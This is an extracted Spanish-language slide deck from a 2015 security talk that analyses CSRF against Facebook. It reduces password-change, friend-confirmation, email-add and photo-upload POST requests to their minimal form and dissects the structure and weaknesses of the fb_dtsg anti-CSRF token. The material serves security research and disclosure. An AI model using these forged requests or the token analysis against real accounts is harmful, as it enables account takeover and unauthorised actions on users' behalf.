El documento habla sobre vulnerabilidades de seguridad como CSRF y cómo el token fb_dtsg de Facebook puede ser explotado para realizar peticiones no autorizadas a la plataforma. Explica cómo reducir las peticiones a Facebook a su mínima expresión para explotar el token fb_dtsg y hacer cambios de contraseña, confirmar solicitudes de amistad y más.
1. Su Seguridad es Nuestro Éxito
Vicente Aguilera Díaz
Socio. Director Dpto. Auditoría
vaguilera@isecauditors.com - @VAguileraDiaz
Vulnerabilidades animadas de ayer y hoy
Hack&Beers Barcelona
20 de febrero de 2015
12. Modificación de contraseña
Petición estándar:
POST /ajax/settings/account/password.php HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&password_strength=2&password_old=123&pass
word_new=1234&password_confirm=1234&__user=9996417249539&__a=1&__
dyn=7nm8RW8BgCByXzpQ9UoGyk4BBxN6yUmnOVbGAFp9qzQC-C26x5-
9V8CdDx2vBhEoBBzEy78ZS2zUy3yo&__req=30&ttstamp=36581708955714778
31176789518710056&__rev=1601460
Vulnerabilidades animadas de ayer y hoy
13. Modificación de contraseña
Petición “mínima”:
POST /ajax/settings/account/password.php HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&password_strength=2&password_old=123&pass
word_new=1234&password_confirm=1234&__user=9996417249539&__a=1
Vulnerabilidades animadas de ayer y hoy
14. Confirmar petición de amistad
Petición estándar:
POST /ajax/reqs.php HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&confirm=9316813227&type=friend_connect&requ
est_id=9316813227&list_item_id=9316813227_1_req&status_div_id=931681322
7_1_req_status&inline=1&ref=jewel&ego_log=AS8k5U8Ov5FMMQ2rPKND8uFV
w2tLuXNakEN4ZAed90GWvx5j1oeb6ui2oLz812a_EGwV5p7ovtWd7IZsdwss4k_
4Yu66h7ZavA2S5KQJQFQZzXNpnGKvn_1VJMQIPBpE8BRYywXrdiR2DBeqpO
bVBQ&actions[accept]=1&nctr[_mod]=pagelet_bluebar&__user=9996417249539
&__a=1&__dyn=7nm8RW8BgCByXzpQ9UoGyk4BBxN6yUmnOVbGAFp9qzQC-
C26x59V8CdDx2vBhEoBBzEy78ZS2zUy3yo&__req=30&ttstamp=36581708955
71477831176789518710056&__rev=1601460
Vulnerabilidades animadas de ayer y hoy
15. Confirmar petición de amistad
Petición “mínima”:
POST /ajax/reqs.php HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&confirm=9316813227&type=friend_connect&req
uest_id=9316813227&list_item_id=9316813227_1_req&status_div_id=93168132
27_1_req_status&__user=9996417249539&__a=1
Vulnerabilidades animadas de ayer y hoy
16. Añadir dirección de email secundaria
Petición estándar:
POST /settings/email/add/submit/ HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&new_email=test%40test.com&__user=99964172
49539&__a=1&__dyn=7nm8RW8BgCByXzpQ9UoGyk4BBxN6yUmnOVbGAFp9
qzQC-C26x5-
9V8CdDx2vBhEoBBzEy78ZS2zUy3yo&__req=30&ttstamp=36581708955714778
31176789518710056&__rev=1601460
Vulnerabilidades animadas de ayer y hoy
17. Añadir dirección de email secundaria
Petición “mínima”:
POST /settings/email/add/submit/ HTTP/1.1
Host: www.facebook.com
fb_dtsg=BSFY7tMXuZW3Wd8&new_email=test%40test.com&__user=99964172
49539&__a=1
Vulnerabilidades animadas de ayer y hoy
18. Añadir foto de perfil
Petición estándar:
POST /ajax/timeline/profile_pic_upload?source=megaphone_activation&__user=
9996417249539 &__a=1&__
dyn=7nm8RW8BgCByXzpQ9UoGyk4BBxN6yUmnOVbGAFp9qzQC-C26x5-
9V8CdDx2vBhEoBBzEy78ZS2zUy3yo&__req=30&ttstamp=36581708955714778
31176789518710056&__rev=1603460 HTTP/1.1
Host: upload.facebook.com
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="fb_dtsg"
BSFY7tMXuZW3Wd8
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="profile_id"
9996417249539
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="file"; filename="noback.jpg"
Content-Type: image/jpeg
Vulnerabilidades animadas de ayer y hoy
19. Añadir foto de perfil
Petición mínima:
POST
/ajax/timeline/profile_pic_upload?source=megaphone_activation&__user=99964
17249539&__a=1 HTTP/1.1
Host: upload.facebook.com
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="fb_dtsg"
BSFY7tMXuZW3Wd8
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="profile_id"
9996417249539
------WebKitFormBoundaryPXTrB9sO207fJ6Gd
Content-Disposition: form-data; name="file"; filename="noback.jpg"
Content-Type: image/jpeg
Vulnerabilidades animadas de ayer y hoy
20. …. y podemos extrapolarlo al resto de operativas
Vulnerabilidades animadas de ayer y hoy
21. fb_dtsg : el Santo Grial
Vulnerabilidades animadas de ayer y hoy
23. fb_dtsg
• Longitud: 15
• Rango de caracteres:
– [A-Z]
– [a-z]
– [0-9]
– [_]
Vulnerabilidades animadas de ayer y hoy
24. fb_dtsg
• Único por usuario y petición
Vulnerabilidades animadas de ayer y hoy
25. fb_dtsg
• Único por usuario y petición
– ¡No se destruyen tras la petición!
Vulnerabilidades animadas de ayer y hoy
26. fb_dtsg
• 3 últimos caracteres no afectan
Vulnerabilidades animadas de ayer y hoy
27. fb_dtsg
• 3 últimos caracteres no afectan
– pueden ser eliminados directamente
Vulnerabilidades animadas de ayer y hoy
28. fb_dtsg
• 2 primeros caracteres no suelen variar
Vulnerabilidades animadas de ayer y hoy
29. fb_dtsg
• 2 primeros caracteres no suelen variar
– fb_dtsg = AQ…
Vulnerabilidades animadas de ayer y hoy
30. fb_dtsg
• Hasta ahora tenemos:
fb_dtsg = AQ XXXXXXXXXX YYY
Vulnerabilidades animadas de ayer y hoy
31. fb_dtsg
• Otras consideraciones:
– Usuarios con mayor actividad generarán más tokens válidos…
– Evitar posibles medidas abusando operativas no sensibles
– Y …
Vulnerabilidades animadas de ayer y hoy
32. fb_dtsg
• Otras consideraciones:
– Usuarios con mayor actividad generarán más tokens válidos…
– Evitar posibles medidas abusando operativas no sensibles
– Hay muchas otras vías de análisis
– y …
Vulnerabilidades animadas de ayer y hoy
33. fb_dtsg
¡El resto es imaginación¡
No limites tu capacidad de inventiva: mente abierta
Vulnerabilidades animadas de ayer y hoy
34. fb_dtsg
¡El resto es imaginación¡
No limites tu capacidad de inventiva: mente abierta
Vulnerabilidades animadas de ayer y hoy
35. Su Seguridad es Nuestro Éxito
C. Santander, 101. Edif. A. 2º
E-08030 Barcelona (Spain)
Tel.: +34 93 305 13 18
Fax: +34 93 278 22 48
C. Arequipa, 1
E-28043 Madrid (Spain)
Tel.: +34 91 763 40 47
Fax: +34 91 382 03 96
info@isecauditors.com
www.isecauditors.com
?
C. Santander, 101. Edif. A. 2º
E-08030 Barcelona (Spain)
Tel.: +34 93 305 13 18
Fax: +34 93 278 22 48
C. Arequipa, 1
E-28043 Madrid (Spain)
Tel.: +34 91 763 40 47
Fax: +34 91 382 03 96
info@isecauditors.com
www.isecauditors.com
Vicente Aguilera Díaz
www.vicenteaguileradiaz.com
@VAguileraDiaz
36. Su Seguridad es Nuestro Éxito
C. Santander, 101. Edif. A. 2º
E-08030 Barcelona (Spain)
Tel.: +34 93 305 13 18
Fax: +34 93 278 22 48
C. Arequipa, 1
E-28043 Madrid (Spain)
Tel.: +34 91 763 40 47
Fax: +34 91 382 03 96
info@isecauditors.com
www.isecauditors.com
Su Seguridad es Nuestro Éxito
C. Santander, 101. Edif. A. 2º
E-08030 Barcelona (Spain)
Tel.: +34 93 305 13 18
Fax: +34 93 278 22 48
C. Arequipa, 1
E-28043 Madrid (Spain)
Tel.: +34 91 763 40 47
Fax: +34 91 382 03 96
info@isecauditors.com
www.isecauditors.com